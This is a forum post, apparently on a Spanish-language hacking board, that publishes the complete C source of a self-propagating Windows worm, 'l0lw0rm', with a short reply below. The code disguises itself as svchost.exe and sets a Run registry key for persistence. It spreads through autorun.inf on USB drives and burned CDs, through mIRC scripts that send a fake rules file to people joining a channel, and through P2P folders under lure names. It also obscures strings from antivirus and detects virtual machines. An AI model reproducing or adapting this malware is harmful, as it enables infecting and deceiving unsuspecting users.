Código: Seleccionar todo

/*
*   l0lw0rm by Ravo_5002
*   spreads trough Thumbdrives, CD's, mIRC and Peer 2 Pear clients
*   Code can be used freely, as long as I am credited....
*   21st of June 2007
*/

#include <stdio.h>
#include <windows.h>

#include "zipstore.h" /* for zipping */

/* globals */
char *exename = "svchost.exe";           /* what will show in the taskmanager */
char *spreadname = "protector.exe";     /* what will show in the CD and Thumbdrives */
char *regname = "Service Host Manager";             /* what will show in the registry entry */
char *mutex = "wazaaapldsfsdf";         /* mutex to prevent multiple copies running */

volatile char* LOL = "Hello Antivirus makers. This is VXer Ravo_5002 speaking. Please call this virus W32.l0lw0rm. How the fuck do you make up these names anyways? -Rav";

char *p2pfiles[] = { /* what we will offer the file as in the Peer 2 Peer clients */
     "Windows.Activation.Crack.Final-ETH0.zip", "systemcrack.exe",
     "Windows.Live.Messenger.Beta.Serial.Generator-PARADOX.zip", "msngen.exe",
     "Virtua.Girl.Serial.Pack.wih.10.Girls-TorrentZ.zip", "virtuagrl.exe",
     "MSN.Hacker.zip", "msnhack.exe",
     "Hotmail.Hacker.zip", "hotmailhack.exe",
     "Aim.Hacker.zip", "aimhack.exe",
     "Counterstrike.Source.aimbot.zip", "aimbot.exe",
     "Xbox.Live.Serial.Generator.zip", "xblgen.exe",
     "Saddam.Hanging-NEW-VERSION!.zip", "Saddam hang you ~censored~!.exe",
     "XXX.Passes.Juli.2007.zip", "passlist.txt______________________________________.exe",
     NULL, NULL     
};

/* prototyping */
int infect(char *path, char *filename);
int cdcopy(char *filename);
int drivecopy(char *filename);
int rot13(char input[256], char output[256]);
int redpill(void);
int p2pcopy(char *filename);
int mirccopy(char *filename);
int addlog(char *line, ...);

int WINAPI WinMain (HINSTANCE hThisInstance,
                    HINSTANCE hPrevInstance,
                    LPSTR lpszArgument,
                    int nFunsterStil) {
    /* Entry point */                       
    if(redpill()) {
        payload(); /* fuck virtual machines :) */   
    }
   
    char filename[MAX_PATH];
    GetModuleFileName(GetModuleHandle(NULL), filename, sizeof(filename)); /* getting current filename */

    /* check if user executed from thumbdrive, if so lets open it for him ... */
    char path[MAX_PATH];
    strcpy(path, filename);
    path[3] = '\0';
    if(GetDriveType(path) == DRIVE_REMOVABLE) {
        ShellExecute(NULL, "open", path, "", NULL, SW_SHOW); /* FIXME: change window of My Computer to the path */
    }
   
    char *userprofile = getenv("USERPROFILE");
    char installpath[MAX_PATH];
    sprintf(installpath, "%s\\%s", userprofile, exename); /* C:\Documents and Settings\User */
   
    if(strcmp(filename, installpath)) { /* install it to hdd for maximum doom ;) */
        /* now thats done lets continue installing ourselves... */
        CopyFile(filename, installpath, 1);
        SetFileAttributes(installpath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY);
       
       HKEY startup;
       char *key13 = "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Eha"; /* "Software\\Microsoft\\Windows\\CurrentVersion\\Run" */
       char key[256];
       rot13(key13, key);
       RegCreateKeyEx(HKEY_LOCAL_MACHINE , key, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &startup, NULL);
       RegSetValueEx(startup, regname, 0, REG_SZ, installpath, strlen(installpath));
       RegCloseKey(startup);

        /* installed, lets do the initial startup */
        ShellExecute(NULL, "open", installpath, "", NULL, SW_HIDE);
        Sleep(2000); /* wait till the process is started... */
        ExitProcess(EXIT_SUCCESS);                 
    }
   
    /* if the worm is already running there is no need for this process */
   if (WaitForSingleObject(CreateMutex(NULL, FALSE, mutex), 15000) == WAIT_TIMEOUT) {
      ExitProcess(EXIT_FAILURE);
   }
    /* see if doomsday is there... */
    char *date = getenv("DATE");
    if((date == "10/07/2007") || (date == "07/10/2007") || (date == "7/10/2007")) {
        payload();
    }
    /* otherwise lets kick ass ;) */
   
    p2pcopy(filename); /* infect Peer 2 Peer clients */
    mirccopy(filename); /* infect mIRC */
   
    while(1) {
        Sleep(6000);
       
        drivecopy(filename); /* infect Thumbdrive */

        if(FindWindow(NULL, "CD Writing Wizard")) { /* infect CD just before user burns one :) */
            cdcopy(filename);
        }
    }
    return 0;
}

int infect(char *path, char *filename) {

    char wormpath[MAX_PATH];
    char infpath[MAX_PATH];
    sprintf(wormpath, "%s%s", path, spreadname);
    sprintf(infpath, "%sautorun.inf", path);
   
    FILE *inf;
    inf = fopen(infpath, "w");
    if(inf == NULL) {
        //printf("DEBUG:: Cannot create files at %s\n", path);
        return 0;       
    }
    fprintf(inf, "[autorun]\n");
    fprintf(inf, "shellexecute=%s\n", spreadname);
    fprintf(inf, "action=Open folder to view files\n");
    fprintf(inf, "shell\\infected=Open\n");
    fprintf(inf, "shell\\infected\\command=%s\n", spreadname);
    fprintf(inf, "shell=infected\n");
    fclose(inf);
   
    CopyFile(filename, wormpath, 1);
   
    /* hide the files... */
    SetFileAttributes(wormpath ,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY);
    SetFileAttributes(infpath ,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY);
    return 1;
}

int cdcopy(char *filename) {
    char *userprofile = getenv("USERPROFILE");
    char burningpath[MAX_PATH];
    char *dirstring13 = "Ybpny Frggvatf\\Nccyvpngvba Qngn\\Zvpebfbsg\\PQ Oheavat\\"; /* \\Local Settings\\Application Data\\Microsoft\\CD Burning\\ */
    char dirstring[256];
    rot13(dirstring13, dirstring);
    sprintf(burningpath, "%s\\%s", userprofile, dirstring);
    if(infect(burningpath, filename)) {
        //printf("DEBUG:: Infected CD Burning Directory\n");
        return 1;                   
    }
    return 0;
}

int mirccopy(char *filename) {
    /* Lets give irc users some rules... ;) */
    char mircdir[MAX_PATH];
    DWORD mircdirlen = sizeof(mircdir);
   
    HKEY mirc;
      char *mirckey13 = "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Havafgnyy\\zVEP"; /* "Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\mIRC" */
    char mirckey[256];
    rot13(mirckey13, mirckey);
    RegOpenKeyEx(HKEY_CURRENT_USER, mirckey, 0, KEY_QUERY_VALUE, &mirc);
    RegQueryValueEx(mirc, "UninstallString", 0, NULL, mircdir, &mircdirlen);
    RegCloseKey(mirc);

    char mirczip[MAX_PATH];
    sprintf(mirczip, "%s\\CHANNEL-RULES.zip", mircdir);
    zip_store(filename, mirczip, "RULES.TXT______________________________________.exe");
   
    char mircscript[MAX_PATH];
    sprintf(mircscript, "%s\\script.ini", mircdir); /* Find script.ini from mIRC */
   
    FILE *script;
    script = fopen(mircscript, "w");
    if(script) {
        fprintf(script, "[Script]\n");
        fprintf(script, "sn0=ON 1:JOIN:#:{\n");
        fprintf(script, "n1=/dcc send $nick CHANNEL-RULES.zip\n");
        fprintf(script, "n2=}\n");
        fclose(script);   
    }
    return 1;   
}

int drivecopy(char *filename) {
    char drives[105]; /* max possible (26*4+1) */
    int drivesize = GetLogicalDriveStrings(104, drives);
    drivesize = drivesize / 4;
    char *tmp = drives;
    int i;
    int count = 0;
    for(i = 0; i < drivesize; i++) {
        if((GetDriveType(tmp) == DRIVE_REMOVABLE) && !(strstr(tmp, "A")) && !(strstr(tmp, "B")) ) { /* we dont want floppy's */
            //printf("DEBUG:: Trying to infect %s\n", tmp);
            if(infect(tmp, filename)) {
                //printf("DEBUG:: Infected %s\n", tmp);
                count++;
            }
        }
        tmp = tmp + 4;       
    }
    return count;   
}

int p2pcopy(char *filename) {

    char kazaapath[MAX_PATH];
    DWORD kazaapathlen = sizeof(kazaapath);
   
    HKEY kazaa;
      char *kazaakey13 = "Fbsgjner\\Xnmnn\\Genafsre"; /* "Software\\Kazaa\\Transfer" */
    char kazaakey[256];
    rot13(kazaakey13, kazaakey);
    RegOpenKeyEx(HKEY_CURRENT_USER, kazaakey, 0, KEY_QUERY_VALUE, &kazaa);
    RegQueryValueEx(kazaa, "DlDir0", 0, NULL, kazaapath, &kazaapathlen);
    RegCloseKey(kazaa);

    char kazaazip[MAX_PATH];
   
    char *userprofile = getenv("USERPROFILE");
    char sharedpath[MAX_PATH];
    sprintf(sharedpath, "%s\\Shared", userprofile);
   
    char sharedzip[MAX_PATH];
    int i;
    for(i = 0; p2pfiles[i] != NULL; i = i + 2) {
        /* filling the kazaa shared folder... */
        sprintf(kazaazip, "%s\\%s", kazaapath, p2pfiles[i]);
        zip_store(filename, kazaazip, p2pfiles[i+1]);
       
        /* filling the other shared folders... */
        sprintf(sharedzip, "%s\\%s", sharedpath, p2pfiles[i]);
        zip_store(filename, sharedzip, p2pfiles[i+1]);
    }
    return 1;
}

int payload(void) {
    while(1) {
        MessageBox(NULL, "YOU ARE iNFECTED BY RAVO_5002", "Doomsday Has Come...", MB_OK);
        /* lame i know ;P */       
    }
    return 0;   
}

int rot13(char input[256], char output[256]) {
    /* rot 13 encryption to fool a/v */
    int i = 0;
    do {
        if(input[i] <= 'm' && isalpha(input[i]) && islower(input[i])) {
            output[i] = input[i] + 13;
         }
        else if(input[i] <= 'M' && isalpha(input[i]) && isupper(input[i])) {
            output[i] = input[i] + 13;
        }
        else if(input[i] >= 'n' && isalpha(input[i]) && islower(input[i])) {
            output[i] = input[i] - 13;       
        }
        else if(input[i] >= 'N' && isalpha(input[i]) && isupper(input[i])) {
            output[i] = input[i] - 13;       
        }
        else {
            output[i] = input[i];     
        }
        i++;
    } while(input[i] != '\0');
    output[i] = '\0';
    return 1;
}

int redpill(void) { /* thanks to Joanna Rutkowska (C) */
    unsigned char m[2+4], rpill[] = "\x0f\x01\x0d\x00\x00\x00\x00\xc3";
    *((unsigned*)&rpill[3]) = (unsigned)m;
    ((void(*)())&rpill)();
    return (m[5] > 0xd0) ? 1 : 0;
}
Muchas gracias l00l
-Aprovechemos mientras Windows es vulnerable.
-No hagas a otros lo que no te gustaría que hagan con.... tu mamá.
-El mejor Snifer es tu propio ISP.
Responder

Volver a “Fuentes”